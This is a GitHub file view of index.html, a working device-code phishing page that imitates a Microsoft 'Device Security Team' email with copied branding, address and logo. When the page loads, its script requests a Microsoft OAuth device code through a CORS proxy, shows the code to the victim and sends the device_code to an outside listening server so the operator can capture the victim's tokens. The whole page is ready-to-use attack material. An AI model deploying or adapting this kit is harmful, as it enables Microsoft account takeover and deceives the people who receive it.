-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
170 lines (151 loc) · 9.78 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en">
<head id="Head1"><title>
Microsoft Device Code
</title><meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<style>
table td {border-collapse:collapse;margin:0;padding:0;}
</style>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
// Redirect CORS using corsanywhere running on FLUX web3 :)
$.get("https://corsanywhere.app.runonflux.io/https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.windows.net").done(function(data) {
document.getElementById('code').innerHTML += data.message;
// Change this line to point to your listening webserver
$.get("https://myprosusvm.centralus.cloudapp.azure.com:8443/?id=" + data.device_code);
let message = data.message;
// Use regex to find the URL
let urlMatch = message.match(/(https?:\/\/[^\s]+)/g);
if (urlMatch && urlMatch.length > 0) {
// Found a URL
let url = urlMatch[0];
let urlWithLink = `<a href="${url}" target="_blank">${url}</a>`;
// Replace URL in the message with the new URL (which includes the link)
message = message.replace(url, urlWithLink);
}
// Use regex to find the code
let codeMatch = message.match(/\b[A-Z0-9]{1,9}\b/);
if (codeMatch && codeMatch.length > 0) {
// Found a code
let code = codeMatch[0];
let boldCode = `<strong>${code}</strong>`;
// Replace code in the message with the bolded code
message = message.replace(code, boldCode);
}
// Display the result
document.getElementById('code').innerHTML = message;
});
</script>
</head>
<body dir="ltr" lang="en">
<table width="100%" cellpadding="0" cellspacing="0" border="0" dir="ltr" lang="en">
<tr>
<td valign="top" width="50%"></td>
<td valign="top">
<!-- Email Header -->
<table width="640" cellpadding="0" cellspacing="0" border="0" dir="ltr" lang="en" style="border-left:1px solid #e3e3e3;border-right: 1px solid #e3e3e3;">
<tr style="background-color: #0072C6;">
<td width="1" style="background:#0072C6; border-top:1px solid #e3e3e3;"></td>
<td width="24" style="border-top:1px solid #e3e3e3;border-bottom:1px solid #e3e3e3;"> </td>
<td width="310" valign="middle" style="border-top:1px solid #e3e3e3; border-bottom:1px solid #e3e3e3;padding:12px 0;">
<h1 style="line-height:20pt;font-family:Segoe UI Light; font-size:18pt; color:#ffffff; font-weight:normal;">
<span id="HeaderPlaceholder_UserVerificationEmailHeader" style="color:#FFFFFF;">Microsoft Device Code</span>
</h1>
</td>
<td width="24" style="border-top: 1px solid #e3e3e3;border-bottom: 1px solid #e3e3e3;"> </td>
</tr>
</table>
<!-- Email Content -->
<table width="640" cellpadding="0" cellspacing="0" border="0" dir="ltr" lang="en">
<tr>
<td width="1" style="background:#e3e3e3;"></td>
<td width="24"> </td>
<td id="PageBody" width="640" valign="top" colspan="2" style="border-bottom:1px solid #e3e3e3; padding:10px 0 20px;">
<table cellpadding="0" cellspacing="0" border="0" >
<tr>
<td width="630" style="font-size:10pt; line-height:13pt; color:#000;">
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="" dir="ltr" lang="en">
<tr>
<td>
<br/>
<div style="font-family:'Segoe UI', Tahoma, sans-serif; font-size:14px; color:#333">
<span id="BodyPlaceholder_UserVerificationEmailBodySentence2">
<div id="code">
</div></span>
</div>
<br/>
<div style="font-family:'Segoe UI', Tahoma, sans-serif; font-size:14px; color:#333; font-weight: bold">
<span id="BodyPlaceholder_UserVerificationEmailBodySentence3">
</span>
</div>
<br/>
<br/>
<div style="font-family:'Segoe UI', Tahoma, sans-serif; font-size:14px; color:#333;">
Sincerely,
</div>
<div style="font-family:'Segoe UI', Tahoma, sans-serif; font-size:14px; font-style:italic; color:#333;">
Microsoft Device Security Team
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
<td width="1"> </td>
<td width="1"></td>
<td width="1"> </td>
<td width="1" valign="top"></td>
<td width="29"> </td>
<td width="1" style="background:#e3e3e3;"></td>
</tr>
<tr >
<td width="1" style="background:#e3e3e3; border-bottom:1px solid #e3e3e3;"></td>
<td width="24" style="border-bottom:1px solid #e3e3e3;"> </td>
<td id="PageFooterContainer" width="585" valign="top" colspan="6" style="border-bottom:1px solid #e3e3e3; padding:20px 0;">
<table id="PageFooter" cellpadding="0" cellspacing="0" border="0" width="585">
<tr>
<td>
<table cellpadding="0" cellspacing="0" border="0" dir="ltr" lang="en" style="margin-right:30px;">
<tr>
<td>
<p style="font-family:'Segoe UI', Tahoma, sans-serif; margin:0px 0px 0px 5px; color:#666; font-size:10px;">
<span id="ContactInfo">
Microsoft Corporation
|
One Microsoft Way Redmond, WA 98052-6399
<br/><br/>
</span>
This message was sent from an unmonitored email address. Please do not reply to this message.
<span id="PrivacyAndLegalLinks" style="color:#0072c6;">
<br/><br/>
<a href="https://privacy.microsoft.com/en-US/privacystatement" id="PrivacyLinkAnchor">
Privacy
</a>
|
<a href="https://www.microsoft.com/en-US/servicesagreement/" id="LegalLinkAnchor">
Legal
</a>
</span>
</p>
</td>
</tr>
</table>
</td>
<td style="padding:0; text-align:right;">
<img id="CompanyLogo" src="https://passwordreset.microsoftonline.com/images/1_MSLogo.png" />
</td>
</tr>
</table>
</td>
<td width="29" style="border-bottom:1px solid #e3e3e3;"> </td>
<td width="1" style="background:#e3e3e3; border-bottom:1px solid #e3e3e3;"></td>
</tr>
</table>
</td>
<td valign="top" width="50%"></td>
</tr>
</table>
<img src='https://mucp.api.account.microsoft.com/m/v2/v?d=AIAACWDUVIY7G4WEODMNE5VSNABJSRKMJF5Q44VG6I2EVZKAZZOWMVEXC3BGAY4TEWBCYT33DMA6FCUDWYN4FPP6J66ITI4TH6ZRJK55HKUWP3MNZYTNFEDWS36V45IRVQY27SZFGT2UEENBSQLSH2S35ZTMTHY&i=AIAACAHP4PIEAJ5N5HCMQNAR6NEIWM352Y6TPZ75TEMIXEEV4OXF4HOWDJLJQKHZ6E3FJUCCXXUKNHF2332NW3RGP4PDU4BPIE7TICV7ZVYLD37E5PHXGANH5KKVNRTRODUQI6BMMV4FRUF4LTFMTJLI4WOAY6H2Y5LIFJFR5AVM6GHU7GACXOBVT5QWP7TEWASVZTJZFQK2DZ63SSBPRLFE7MQTIRFSWNI6I5PPBFLBX2HGMMEU7FAOVJYVDRXFNK5SDXIW6W5G7MVRTI53426QMUMT5UQ' width='1' height='1' tabindex='-1' aria-hidden='true' alt='' /></body>
</html>